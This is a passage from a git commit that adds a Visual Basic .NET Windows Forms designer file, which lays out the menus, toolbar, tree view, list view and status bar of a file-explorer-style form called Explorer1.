initial commit

This commit is contained in:
i2p
2026-08-27 11:04:21 -06:00
commit 07a49a8c50
937 changed files with 196477 additions and 0 deletions
Binary file not shown.
@@ -0,0 +1,617 @@
<Global.Microsoft.VisualBasic.CompilerServices.DesignerGenerated()> _
Partial Class Explorer1
Inherits System.Windows.Forms.Form
'Form overrides dispose to clean up the component list.
<System.Diagnostics.DebuggerNonUserCode()> _
Protected Overrides Sub Dispose(ByVal disposing As Boolean)
Try
If disposing AndAlso components IsNot Nothing Then
components.Dispose()
End If
Finally
MyBase.Dispose(disposing)
End Try
End Sub
Friend WithEvents ToolStripContainer As System.Windows.Forms.ToolStripContainer
Friend WithEvents TreeNodeImageList As System.Windows.Forms.ImageList
Friend WithEvents ToolStripSeparator7 As System.Windows.Forms.ToolStripSeparator
Friend WithEvents ToolStripSeparator8 As System.Windows.Forms.ToolStripSeparator
Friend WithEvents ToolStrip As System.Windows.Forms.ToolStrip
Friend WithEvents BackToolStripButton As System.Windows.Forms.ToolStripButton
Friend WithEvents ForwardToolStripButton As System.Windows.Forms.ToolStripButton
Friend WithEvents FoldersToolStripButton As System.Windows.Forms.ToolStripButton
Friend WithEvents ListViewToolStripButton As System.Windows.Forms.ToolStripDropDownButton
Friend WithEvents ListToolStripMenuItem As System.Windows.Forms.ToolStripMenuItem
Friend WithEvents DetailsToolStripMenuItem As System.Windows.Forms.ToolStripMenuItem
Friend WithEvents LargeIconsToolStripMenuItem As System.Windows.Forms.ToolStripMenuItem
Friend WithEvents SmallIconsToolStripMenuItem As System.Windows.Forms.ToolStripMenuItem
Friend WithEvents TileToolStripMenuItem As System.Windows.Forms.ToolStripMenuItem
Friend WithEvents MenuStrip As System.Windows.Forms.MenuStrip
Friend WithEvents FileToolStripMenuItem As System.Windows.Forms.ToolStripMenuItem
Friend WithEvents NewToolStripMenuItem As System.Windows.Forms.ToolStripMenuItem
Friend WithEvents OpenToolStripMenuItem As System.Windows.Forms.ToolStripMenuItem
Friend WithEvents ToolStripSeparator1 As System.Windows.Forms.ToolStripSeparator
Friend WithEvents SaveToolStripMenuItem As System.Windows.Forms.ToolStripMenuItem
Friend WithEvents SaveAsToolStripMenuItem As System.Windows.Forms.ToolStripMenuItem
Friend WithEvents ToolStripSeparator2 As System.Windows.Forms.ToolStripSeparator
Friend WithEvents PrintToolStripMenuItem As System.Windows.Forms.ToolStripMenuItem
Friend WithEvents PrintPreviewToolStripMenuItem As System.Windows.Forms.ToolStripMenuItem
Friend WithEvents ToolStripSeparator3 As System.Windows.Forms.ToolStripSeparator
Friend WithEvents ExitToolStripMenuItem As System.Windows.Forms.ToolStripMenuItem
Friend WithEvents EditToolStripMenuItem As System.Windows.Forms.ToolStripMenuItem
Friend WithEvents UndoToolStripMenuItem As System.Windows.Forms.ToolStripMenuItem
Friend WithEvents RedoToolStripMenuItem As System.Windows.Forms.ToolStripMenuItem
Friend WithEvents ToolStripSeparator4 As System.Windows.Forms.ToolStripSeparator
Friend WithEvents CutToolStripMenuItem As System.Windows.Forms.ToolStripMenuItem
Friend WithEvents CopyToolStripMenuItem As System.Windows.Forms.ToolStripMenuItem
Friend WithEvents PasteToolStripMenuItem As System.Windows.Forms.ToolStripMenuItem
Friend WithEvents ToolStripSeparator5 As System.Windows.Forms.ToolStripSeparator
Friend WithEvents SelectAllToolStripMenuItem As System.Windows.Forms.ToolStripMenuItem
Friend WithEvents ViewToolStripMenuItem As System.Windows.Forms.ToolStripMenuItem
Friend WithEvents ToolBarToolStripMenuItem As System.Windows.Forms.ToolStripMenuItem
Friend WithEvents StatusBarToolStripMenuItem As System.Windows.Forms.ToolStripMenuItem
Friend WithEvents FoldersToolStripMenuItem As System.Windows.Forms.ToolStripMenuItem
Friend WithEvents ToolsToolStripMenuItem As System.Windows.Forms.ToolStripMenuItem
Friend WithEvents OptionsToolStripMenuItem As System.Windows.Forms.ToolStripMenuItem
Friend WithEvents HelpToolStripMenuItem As System.Windows.Forms.ToolStripMenuItem
Friend WithEvents ContentsToolStripMenuItem As System.Windows.Forms.ToolStripMenuItem
Friend WithEvents IndexToolStripMenuItem As System.Windows.Forms.ToolStripMenuItem
Friend WithEvents SearchToolStripMenuItem As System.Windows.Forms.ToolStripMenuItem
Friend WithEvents ToolStripSeparator6 As System.Windows.Forms.ToolStripSeparator
Friend WithEvents AboutToolStripMenuItem As System.Windows.Forms.ToolStripMenuItem
Friend WithEvents SplitContainer As System.Windows.Forms.SplitContainer
Friend WithEvents TreeView As System.Windows.Forms.TreeView
Friend WithEvents ListView As System.Windows.Forms.ListView
Friend WithEvents StatusStrip As System.Windows.Forms.StatusStrip
Friend WithEvents ToolStripStatusLabel As System.Windows.Forms.ToolStripStatusLabel
Friend WithEvents ToolTip As System.Windows.Forms.ToolTip
Friend WithEvents ListViewLargeImageList As System.Windows.Forms.ImageList
Friend WithEvents ListViewSmallImageList As System.Windows.Forms.ImageList
'Required by the Windows Form Designer
Private components As System.ComponentModel.IContainer
'NOTE: The following procedure is required by the Windows Form Designer
'It can be modified using the Windows Form Designer.
'Do not modify it using the code editor.
<System.Diagnostics.DebuggerStepThrough()> _
Private Sub InitializeComponent()
Me.components = New System.ComponentModel.Container
Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(Explorer1))
Me.StatusStrip = New System.Windows.Forms.StatusStrip
Me.ToolStripStatusLabel = New System.Windows.Forms.ToolStripStatusLabel
Me.TreeNodeImageList = New System.Windows.Forms.ImageList(Me.components)
Me.ToolStrip = New System.Windows.Forms.ToolStrip
Me.BackToolStripButton = New System.Windows.Forms.ToolStripButton
Me.ForwardToolStripButton = New System.Windows.Forms.ToolStripButton
Me.ToolStripSeparator7 = New System.Windows.Forms.ToolStripSeparator
Me.FoldersToolStripButton = New System.Windows.Forms.ToolStripButton
Me.ToolStripSeparator8 = New System.Windows.Forms.ToolStripSeparator
Me.ListViewToolStripButton = New System.Windows.Forms.ToolStripDropDownButton
Me.ListToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem
Me.DetailsToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem
Me.LargeIconsToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem
Me.SmallIconsToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem
Me.TileToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem
Me.MenuStrip = New System.Windows.Forms.MenuStrip
Me.FileToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem
Me.NewToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem
Me.OpenToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem
Me.ToolStripSeparator1 = New System.Windows.Forms.ToolStripSeparator
Me.SaveToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem
Me.SaveAsToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem
Me.ToolStripSeparator2 = New System.Windows.Forms.ToolStripSeparator
Me.PrintToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem
Me.PrintPreviewToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem
Me.ToolStripSeparator3 = New System.Windows.Forms.ToolStripSeparator
Me.ExitToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem
Me.EditToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem
Me.UndoToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem
Me.RedoToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem
Me.ToolStripSeparator4 = New System.Windows.Forms.ToolStripSeparator
Me.CutToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem
Me.CopyToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem
Me.PasteToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem
Me.ToolStripSeparator5 = New System.Windows.Forms.ToolStripSeparator
Me.SelectAllToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem
Me.ViewToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem
Me.ToolBarToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem
Me.StatusBarToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem
Me.FoldersToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem
Me.ToolsToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem
Me.OptionsToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem
Me.HelpToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem
Me.ContentsToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem
Me.IndexToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem
Me.SearchToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem
Me.ToolStripSeparator6 = New System.Windows.Forms.ToolStripSeparator
Me.AboutToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem
Me.ToolTip = New System.Windows.Forms.ToolTip(Me.components)
Me.ToolStripContainer = New System.Windows.Forms.ToolStripContainer
Me.SplitContainer = New System.Windows.Forms.SplitContainer
Me.TreeView = New System.Windows.Forms.TreeView
Me.ListView = New System.Windows.Forms.ListView
Me.ListViewLargeImageList = New System.Windows.Forms.ImageList(Me.components)
Me.ListViewSmallImageList = New System.Windows.Forms.ImageList(Me.components)
Me.StatusStrip.SuspendLayout()
Me.ToolStrip.SuspendLayout()
Me.MenuStrip.SuspendLayout()
Me.ToolStripContainer.BottomToolStripPanel.SuspendLayout()
Me.ToolStripContainer.ContentPanel.SuspendLayout()
Me.ToolStripContainer.TopToolStripPanel.SuspendLayout()
Me.ToolStripContainer.SuspendLayout()
Me.SplitContainer.Panel1.SuspendLayout()
Me.SplitContainer.Panel2.SuspendLayout()
Me.SplitContainer.SuspendLayout()
Me.SuspendLayout()
'
'StatusStrip
'
Me.StatusStrip.Dock = System.Windows.Forms.DockStyle.None
Me.StatusStrip.Items.AddRange(New System.Windows.Forms.ToolStripItem() {Me.ToolStripStatusLabel})
Me.StatusStrip.Location = New System.Drawing.Point(0, 0)
Me.StatusStrip.Name = "StatusStrip"
Me.StatusStrip.Size = New System.Drawing.Size(632, 22)
Me.StatusStrip.TabIndex = 6
Me.StatusStrip.Text = "StatusStrip"
'
'ToolStripStatusLabel
'
Me.ToolStripStatusLabel.Name = "ToolStripStatusLabel"
Me.ToolStripStatusLabel.Size = New System.Drawing.Size(38, 17)
Me.ToolStripStatusLabel.Text = "Status"
'
'TreeNodeImageList
'
Me.TreeNodeImageList.ImageStream = CType(resources.GetObject("TreeNodeImageList.ImageStream"), System.Windows.Forms.ImageListStreamer)
Me.TreeNodeImageList.TransparentColor = System.Drawing.Color.Transparent
Me.TreeNodeImageList.Images.SetKeyName(0, "ClosedFolder")
Me.TreeNodeImageList.Images.SetKeyName(1, "OpenFolder")
'
'ToolStrip
'
Me.ToolStrip.Anchor = System.Windows.Forms.AnchorStyles.Right
Me.ToolStrip.Dock = System.Windows.Forms.DockStyle.None
Me.ToolStrip.Items.AddRange(New System.Windows.Forms.ToolStripItem() {Me.BackToolStripButton, Me.ForwardToolStripButton, Me.ToolStripSeparator7, Me.FoldersToolStripButton, Me.ToolStripSeparator8, Me.ListViewToolStripButton})
Me.ToolStrip.Location = New System.Drawing.Point(3, 24)
Me.ToolStrip.Name = "ToolStrip"
Me.ToolStrip.Size = New System.Drawing.Size(231, 25)
Me.ToolStrip.TabIndex = 0
Me.ToolStrip.Text = "ToolStrip1"
'
'BackToolStripButton
'
Me.BackToolStripButton.Enabled = False
Me.BackToolStripButton.Image = CType(resources.GetObject("BackToolStripButton.Image"), System.Drawing.Image)
Me.BackToolStripButton.ImageTransparentColor = System.Drawing.Color.Black
Me.BackToolStripButton.Name = "BackToolStripButton"
Me.BackToolStripButton.Size = New System.Drawing.Size(49, 22)
Me.BackToolStripButton.Text = "Back"
Me.BackToolStripButton.ToolTipText = "Back to the previous item"
'
'ForwardToolStripButton
'
Me.ForwardToolStripButton.Enabled = False
Me.ForwardToolStripButton.Image = CType(resources.GetObject("ForwardToolStripButton.Image"), System.Drawing.Image)
Me.ForwardToolStripButton.ImageTransparentColor = System.Drawing.Color.Black
Me.ForwardToolStripButton.Name = "ForwardToolStripButton"
Me.ForwardToolStripButton.Size = New System.Drawing.Size(67, 22)
Me.ForwardToolStripButton.Text = "Forward"
Me.ForwardToolStripButton.ToolTipText = "Move forward to the next item"
'
'ToolStripSeparator7
'
Me.ToolStripSeparator7.Name = "ToolStripSeparator7"
Me.ToolStripSeparator7.Size = New System.Drawing.Size(6, 25)
'
'FoldersToolStripButton
'
Me.FoldersToolStripButton.Checked = True
Me.FoldersToolStripButton.CheckState = System.Windows.Forms.CheckState.Checked
Me.FoldersToolStripButton.Image = CType(resources.GetObject("FoldersToolStripButton.Image"), System.Drawing.Image)
Me.FoldersToolStripButton.ImageTransparentColor = System.Drawing.Color.Black
Me.FoldersToolStripButton.Name = "FoldersToolStripButton"
Me.FoldersToolStripButton.Size = New System.Drawing.Size(62, 22)
Me.FoldersToolStripButton.Text = "Folders"
Me.FoldersToolStripButton.ToolTipText = "Toggle Folders View"
'
'ToolStripSeparator8
'
Me.ToolStripSeparator8.Name = "ToolStripSeparator8"
Me.ToolStripSeparator8.Size = New System.Drawing.Size(6, 25)
'
'ListViewToolStripButton
'
Me.ListViewToolStripButton.DisplayStyle = System.Windows.Forms.ToolStripItemDisplayStyle.Image
Me.ListViewToolStripButton.DropDownItems.AddRange(New System.Windows.Forms.ToolStripItem() {Me.ListToolStripMenuItem, Me.DetailsToolStripMenuItem, Me.LargeIconsToolStripMenuItem, Me.SmallIconsToolStripMenuItem, Me.TileToolStripMenuItem})
Me.ListViewToolStripButton.Image = CType(resources.GetObject("ListViewToolStripButton.Image"), System.Drawing.Image)
Me.ListViewToolStripButton.ImageTransparentColor = System.Drawing.Color.Black
Me.ListViewToolStripButton.Name = "ListViewToolStripButton"
Me.ListViewToolStripButton.Size = New System.Drawing.Size(29, 22)
Me.ListViewToolStripButton.Text = "Views"
'
'ListToolStripMenuItem
'
Me.ListToolStripMenuItem.Name = "ListToolStripMenuItem"
Me.ListToolStripMenuItem.Size = New System.Drawing.Size(130, 22)
Me.ListToolStripMenuItem.Text = "List"
'
'DetailsToolStripMenuItem
'
Me.DetailsToolStripMenuItem.Checked = True
Me.DetailsToolStripMenuItem.CheckState = System.Windows.Forms.CheckState.Checked
Me.DetailsToolStripMenuItem.Name = "DetailsToolStripMenuItem"
Me.DetailsToolStripMenuItem.Size = New System.Drawing.Size(130, 22)
Me.DetailsToolStripMenuItem.Text = "Details"
'
'LargeIconsToolStripMenuItem
'
Me.LargeIconsToolStripMenuItem.Name = "LargeIconsToolStripMenuItem"
Me.LargeIconsToolStripMenuItem.Size = New System.Drawing.Size(130, 22)
Me.LargeIconsToolStripMenuItem.Text = "Large Icons"
'
'SmallIconsToolStripMenuItem
'
Me.SmallIconsToolStripMenuItem.Name = "SmallIconsToolStripMenuItem"
Me.SmallIconsToolStripMenuItem.Size = New System.Drawing.Size(130, 22)
Me.SmallIconsToolStripMenuItem.Text = "Small Icons"
'
'TileToolStripMenuItem
'
Me.TileToolStripMenuItem.Name = "TileToolStripMenuItem"
Me.TileToolStripMenuItem.Size = New System.Drawing.Size(130, 22)
Me.TileToolStripMenuItem.Text = "Tile"
'
'MenuStrip
'
Me.MenuStrip.Dock = System.Windows.Forms.DockStyle.None
Me.MenuStrip.Items.AddRange(New System.Windows.Forms.ToolStripItem() {Me.FileToolStripMenuItem, Me.EditToolStripMenuItem, Me.ViewToolStripMenuItem, Me.ToolsToolStripMenuItem, Me.HelpToolStripMenuItem})
Me.MenuStrip.Location = New System.Drawing.Point(0, 0)
Me.MenuStrip.Name = "MenuStrip"
Me.MenuStrip.Size = New System.Drawing.Size(632, 24)
Me.MenuStrip.TabIndex = 0
Me.MenuStrip.Text = "MenuStrip1"
'
'FileToolStripMenuItem
'
Me.FileToolStripMenuItem.DropDownItems.AddRange(New System.Windows.Forms.ToolStripItem() {Me.NewToolStripMenuItem, Me.OpenToolStripMenuItem, Me.ToolStripSeparator1, Me.SaveToolStripMenuItem, Me.SaveAsToolStripMenuItem, Me.ToolStripSeparator2, Me.PrintToolStripMenuItem, Me.PrintPreviewToolStripMenuItem, Me.ToolStripSeparator3, Me.ExitToolStripMenuItem})
Me.FileToolStripMenuItem.Name = "FileToolStripMenuItem"
Me.FileToolStripMenuItem.Size = New System.Drawing.Size(35, 20)
Me.FileToolStripMenuItem.Text = "&File"
'
'NewToolStripMenuItem
'
Me.NewToolStripMenuItem.Image = CType(resources.GetObject("NewToolStripMenuItem.Image"), System.Drawing.Image)
Me.NewToolStripMenuItem.ImageTransparentColor = System.Drawing.Color.Black
Me.NewToolStripMenuItem.Name = "NewToolStripMenuItem"
Me.NewToolStripMenuItem.ShortcutKeys = CType((System.Windows.Forms.Keys.Control Or System.Windows.Forms.Keys.N), System.Windows.Forms.Keys)
Me.NewToolStripMenuItem.Size = New System.Drawing.Size(140, 22)
Me.NewToolStripMenuItem.Text = "&New"
'
'OpenToolStripMenuItem
'
Me.OpenToolStripMenuItem.Image = CType(resources.GetObject("OpenToolStripMenuItem.Image"), System.Drawing.Image)
Me.OpenToolStripMenuItem.ImageTransparentColor = System.Drawing.Color.Black
Me.OpenToolStripMenuItem.Name = "OpenToolStripMenuItem"
Me.OpenToolStripMenuItem.ShortcutKeys = CType((System.Windows.Forms.Keys.Control Or System.Windows.Forms.Keys.O), System.Windows.Forms.Keys)
Me.OpenToolStripMenuItem.Size = New System.Drawing.Size(140, 22)
Me.OpenToolStripMenuItem.Text = "&Open"
'
'ToolStripSeparator1
'
Me.ToolStripSeparator1.Name = "ToolStripSeparator1"
Me.ToolStripSeparator1.Size = New System.Drawing.Size(137, 6)
'
'SaveToolStripMenuItem
'
Me.SaveToolStripMenuItem.Image = CType(resources.GetObject("SaveToolStripMenuItem.Image"), System.Drawing.Image)
Me.SaveToolStripMenuItem.ImageTransparentColor = System.Drawing.Color.Black
Me.SaveToolStripMenuItem.Name = "SaveToolStripMenuItem"
Me.SaveToolStripMenuItem.ShortcutKeys = CType((System.Windows.Forms.Keys.Control Or System.Windows.Forms.Keys.S), System.Windows.Forms.Keys)
Me.SaveToolStripMenuItem.Size = New System.Drawing.Size(140, 22)
Me.SaveToolStripMenuItem.Text = "&Save"
'
'SaveAsToolStripMenuItem
'
Me.SaveAsToolStripMenuItem.Name = "SaveAsToolStripMenuItem"
Me.SaveAsToolStripMenuItem.Size = New System.Drawing.Size(140, 22)
Me.SaveAsToolStripMenuItem.Text = "Save &As"
'
'ToolStripSeparator2
'
Me.ToolStripSeparator2.Name = "ToolStripSeparator2"
Me.ToolStripSeparator2.Size = New System.Drawing.Size(137, 6)
'
'PrintToolStripMenuItem
'
Me.PrintToolStripMenuItem.Image = CType(resources.GetObject("PrintToolStripMenuItem.Image"), System.Drawing.Image)
Me.PrintToolStripMenuItem.ImageTransparentColor = System.Drawing.Color.Black
Me.PrintToolStripMenuItem.Name = "PrintToolStripMenuItem"
Me.PrintToolStripMenuItem.ShortcutKeys = CType((System.Windows.Forms.Keys.Control Or System.Windows.Forms.Keys.P), System.Windows.Forms.Keys)
Me.PrintToolStripMenuItem.Size = New System.Drawing.Size(140, 22)
Me.PrintToolStripMenuItem.Text = "&Print"
'
'PrintPreviewToolStripMenuItem
'
Me.PrintPreviewToolStripMenuItem.Image = CType(resources.GetObject("PrintPreviewToolStripMenuItem.Image"), System.Drawing.Image)
Me.PrintPreviewToolStripMenuItem.ImageTransparentColor = System.Drawing.Color.Black
Me.PrintPreviewToolStripMenuItem.Name = "PrintPreviewToolStripMenuItem"
Me.PrintPreviewToolStripMenuItem.Size = New System.Drawing.Size(140, 22)
Me.PrintPreviewToolStripMenuItem.Text = "Print Pre&view"
'
'ToolStripSeparator3
'
Me.ToolStripSeparator3.Name = "ToolStripSeparator3"
Me.ToolStripSeparator3.Size = New System.Drawing.Size(137, 6)
'
'ExitToolStripMenuItem
'
Me.ExitToolStripMenuItem.Name = "ExitToolStripMenuItem"
Me.ExitToolStripMenuItem.Size = New System.Drawing.Size(140, 22)
Me.ExitToolStripMenuItem.Text = "E&xit"
'
'EditToolStripMenuItem
'
Me.EditToolStripMenuItem.DropDownItems.AddRange(New System.Windows.Forms.ToolStripItem() {Me.UndoToolStripMenuItem, Me.RedoToolStripMenuItem, Me.ToolStripSeparator4, Me.CutToolStripMenuItem, Me.CopyToolStripMenuItem, Me.PasteToolStripMenuItem, Me.ToolStripSeparator5, Me.SelectAllToolStripMenuItem})
Me.EditToolStripMenuItem.Name = "EditToolStripMenuItem"
Me.EditToolStripMenuItem.Size = New System.Drawing.Size(37, 20)
Me.EditToolStripMenuItem.Text = "&Edit"
'
'UndoToolStripMenuItem
'
Me.UndoToolStripMenuItem.Image = CType(resources.GetObject("UndoToolStripMenuItem.Image"), System.Drawing.Image)
Me.UndoToolStripMenuItem.ImageTransparentColor = System.Drawing.Color.Black
Me.UndoToolStripMenuItem.Name = "UndoToolStripMenuItem"
Me.UndoToolStripMenuItem.ShortcutKeys = CType((System.Windows.Forms.Keys.Control Or System.Windows.Forms.Keys.Z), System.Windows.Forms.Keys)
Me.UndoToolStripMenuItem.Size = New System.Drawing.Size(156, 22)
Me.UndoToolStripMenuItem.Text = "&Undo"
'
'RedoToolStripMenuItem
'
Me.RedoToolStripMenuItem.Image = CType(resources.GetObject("RedoToolStripMenuItem.Image"), System.Drawing.Image)
Me.RedoToolStripMenuItem.ImageTransparentColor = System.Drawing.Color.Black
Me.RedoToolStripMenuItem.Name = "RedoToolStripMenuItem"
Me.RedoToolStripMenuItem.ShortcutKeys = CType((System.Windows.Forms.Keys.Control Or System.Windows.Forms.Keys.Y), System.Windows.Forms.Keys)
Me.RedoToolStripMenuItem.Size = New System.Drawing.Size(156, 22)
Me.RedoToolStripMenuItem.Text = "&Redo"
'
'ToolStripSeparator4
'
Me.ToolStripSeparator4.Name = "ToolStripSeparator4"
Me.ToolStripSeparator4.Size = New System.Drawing.Size(153, 6)
'
'CutToolStripMenuItem
'
Me.CutToolStripMenuItem.Image = CType(resources.GetObject("CutToolStripMenuItem.Image"), System.Drawing.Image)
Me.CutToolStripMenuItem.ImageTransparentColor = System.Drawing.Color.Black
Me.CutToolStripMenuItem.Name = "CutToolStripMenuItem"
Me.CutToolStripMenuItem.ShortcutKeys = CType((System.Windows.Forms.Keys.Control Or System.Windows.Forms.Keys.X), System.Windows.Forms.Keys)
Me.CutToolStripMenuItem.Size = New System.Drawing.Size(156, 22)
Me.CutToolStripMenuItem.Text = "Cu&t"
'
'CopyToolStripMenuItem
'
Me.CopyToolStripMenuItem.Image = CType(resources.GetObject("CopyToolStripMenuItem.Image"), System.Drawing.Image)
Me.CopyToolStripMenuItem.ImageTransparentColor = System.Drawing.Color.Black
Me.CopyToolStripMenuItem.Name = "CopyToolStripMenuItem"
Me.CopyToolStripMenuItem.ShortcutKeys = CType((System.Windows.Forms.Keys.Control Or System.Windows.Forms.Keys.C), System.Windows.Forms.Keys)
Me.CopyToolStripMenuItem.Size = New System.Drawing.Size(156, 22)
Me.CopyToolStripMenuItem.Text = "&Copy"
'
'PasteToolStripMenuItem
'
Me.PasteToolStripMenuItem.Image = CType(resources.GetObject("PasteToolStripMenuItem.Image"), System.Drawing.Image)
Me.PasteToolStripMenuItem.ImageTransparentColor = System.Drawing.Color.Black
Me.PasteToolStripMenuItem.Name = "PasteToolStripMenuItem"
Me.PasteToolStripMenuItem.ShortcutKeys = CType((System.Windows.Forms.Keys.Control Or System.Windows.Forms.Keys.V), System.Windows.Forms.Keys)
Me.PasteToolStripMenuItem.Size = New System.Drawing.Size(156, 22)
Me.PasteToolStripMenuItem.Text = "&Paste"
'
'ToolStripSeparator5
'
Me.ToolStripSeparator5.Name = "ToolStripSeparator5"
Me.ToolStripSeparator5.Size = New System.Drawing.Size(153, 6)
'
'SelectAllToolStripMenuItem
'
Me.SelectAllToolStripMenuItem.Name = "SelectAllToolStripMenuItem"
Me.SelectAllToolStripMenuItem.ShortcutKeys = CType((System.Windows.Forms.Keys.Control Or System.Windows.Forms.Keys.A), System.Windows.Forms.Keys)
Me.SelectAllToolStripMenuItem.Size = New System.Drawing.Size(156, 22)
Me.SelectAllToolStripMenuItem.Text = "Select &All"
'
'ViewToolStripMenuItem
'
Me.ViewToolStripMenuItem.DropDownItems.AddRange(New System.Windows.Forms.ToolStripItem() {Me.ToolBarToolStripMenuItem, Me.StatusBarToolStripMenuItem, Me.FoldersToolStripMenuItem})
Me.ViewToolStripMenuItem.Name = "ViewToolStripMenuItem"
Me.ViewToolStripMenuItem.Size = New System.Drawing.Size(41, 20)
Me.ViewToolStripMenuItem.Text = "&View"
'
'ToolBarToolStripMenuItem
'
Me.ToolBarToolStripMenuItem.Checked = True
Me.ToolBarToolStripMenuItem.CheckState = System.Windows.Forms.CheckState.Checked
Me.ToolBarToolStripMenuItem.Name = "ToolBarToolStripMenuItem"
Me.ToolBarToolStripMenuItem.Size = New System.Drawing.Size(124, 22)
Me.ToolBarToolStripMenuItem.Text = "&Toolbar"
'
'StatusBarToolStripMenuItem
'
Me.StatusBarToolStripMenuItem.Checked = True
Me.StatusBarToolStripMenuItem.CheckState = System.Windows.Forms.CheckState.Checked
Me.StatusBarToolStripMenuItem.Name = "StatusBarToolStripMenuItem"
Me.StatusBarToolStripMenuItem.Size = New System.Drawing.Size(124, 22)
Me.StatusBarToolStripMenuItem.Text = "&Status Bar"
'
'FoldersToolStripMenuItem
'
Me.FoldersToolStripMenuItem.Checked = True
Me.FoldersToolStripMenuItem.CheckState = System.Windows.Forms.CheckState.Checked
Me.FoldersToolStripMenuItem.Name = "FoldersToolStripMenuItem"
Me.FoldersToolStripMenuItem.Size = New System.Drawing.Size(124, 22)
Me.FoldersToolStripMenuItem.Text = "&Folders"
'
'ToolsToolStripMenuItem
'
Me.ToolsToolStripMenuItem.DropDownItems.AddRange(New System.Windows.Forms.ToolStripItem() {Me.OptionsToolStripMenuItem})
Me.ToolsToolStripMenuItem.Name = "ToolsToolStripMenuItem"
Me.ToolsToolStripMenuItem.Size = New System.Drawing.Size(44, 20)
Me.ToolsToolStripMenuItem.Text = "&Tools"
'
'OptionsToolStripMenuItem
'
Me.OptionsToolStripMenuItem.Name = "OptionsToolStripMenuItem"
Me.OptionsToolStripMenuItem.Size = New System.Drawing.Size(111, 22)
Me.OptionsToolStripMenuItem.Text = "&Options"
'
'HelpToolStripMenuItem
'
Me.HelpToolStripMenuItem.DropDownItems.AddRange(New System.Windows.Forms.ToolStripItem() {Me.ContentsToolStripMenuItem, Me.IndexToolStripMenuItem, Me.SearchToolStripMenuItem, Me.ToolStripSeparator6, Me.AboutToolStripMenuItem})
Me.HelpToolStripMenuItem.Name = "HelpToolStripMenuItem"
Me.HelpToolStripMenuItem.Size = New System.Drawing.Size(40, 20)
Me.HelpToolStripMenuItem.Text = "&Help"
'
'ContentsToolStripMenuItem
'
Me.ContentsToolStripMenuItem.Name = "ContentsToolStripMenuItem"
Me.ContentsToolStripMenuItem.ShortcutKeys = CType((System.Windows.Forms.Keys.Control Or System.Windows.Forms.Keys.F1), System.Windows.Forms.Keys)
Me.ContentsToolStripMenuItem.Size = New System.Drawing.Size(162, 22)
Me.ContentsToolStripMenuItem.Text = "&Contents"
'
'IndexToolStripMenuItem
'
Me.IndexToolStripMenuItem.Image = CType(resources.GetObject("IndexToolStripMenuItem.Image"), System.Drawing.Image)
Me.IndexToolStripMenuItem.ImageTransparentColor = System.Drawing.Color.Black
Me.IndexToolStripMenuItem.Name = "IndexToolStripMenuItem"
Me.IndexToolStripMenuItem.Size = New System.Drawing.Size(162, 22)
Me.IndexToolStripMenuItem.Text = "&Index"
'
'SearchToolStripMenuItem
'
Me.SearchToolStripMenuItem.Image = CType(resources.GetObject("SearchToolStripMenuItem.Image"), System.Drawing.Image)
Me.SearchToolStripMenuItem.ImageTransparentColor = System.Drawing.Color.Black
Me.SearchToolStripMenuItem.Name = "SearchToolStripMenuItem"
Me.SearchToolStripMenuItem.Size = New System.Drawing.Size(162, 22)
Me.SearchToolStripMenuItem.Text = "&Search"
'
'ToolStripSeparator6
'
Me.ToolStripSeparator6.Name = "ToolStripSeparator6"
Me.ToolStripSeparator6.Size = New System.Drawing.Size(159, 6)
'
'AboutToolStripMenuItem
'
Me.AboutToolStripMenuItem.Name = "AboutToolStripMenuItem"
Me.AboutToolStripMenuItem.Size = New System.Drawing.Size(162, 22)
Me.AboutToolStripMenuItem.Text = "&About ..."
'
'ToolStripContainer
'
'
'ToolStripContainer.BottomToolStripPanel
'
Me.ToolStripContainer.BottomToolStripPanel.Controls.Add(Me.StatusStrip)
'
'ToolStripContainer.ContentPanel
'
Me.ToolStripContainer.ContentPanel.Controls.Add(Me.SplitContainer)
Me.ToolStripContainer.ContentPanel.Size = New System.Drawing.Size(632, 382)
Me.ToolStripContainer.Dock = System.Windows.Forms.DockStyle.Fill
Me.ToolStripContainer.Location = New System.Drawing.Point(0, 0)
Me.ToolStripContainer.Name = "ToolStripContainer"
Me.ToolStripContainer.Size = New System.Drawing.Size(632, 453)
Me.ToolStripContainer.TabIndex = 7
Me.ToolStripContainer.Text = "ToolStripContainer1"
'
'ToolStripContainer.TopToolStripPanel
'
Me.ToolStripContainer.TopToolStripPanel.Controls.Add(Me.MenuStrip)
Me.ToolStripContainer.TopToolStripPanel.Controls.Add(Me.ToolStrip)
'
'SplitContainer
'
Me.SplitContainer.Dock = System.Windows.Forms.DockStyle.Fill
Me.SplitContainer.Location = New System.Drawing.Point(0, 0)
Me.SplitContainer.Name = "SplitContainer"
'
'SplitContainer.Panel1
'
Me.SplitContainer.Panel1.Controls.Add(Me.TreeView)
'
'SplitContainer.Panel2
'
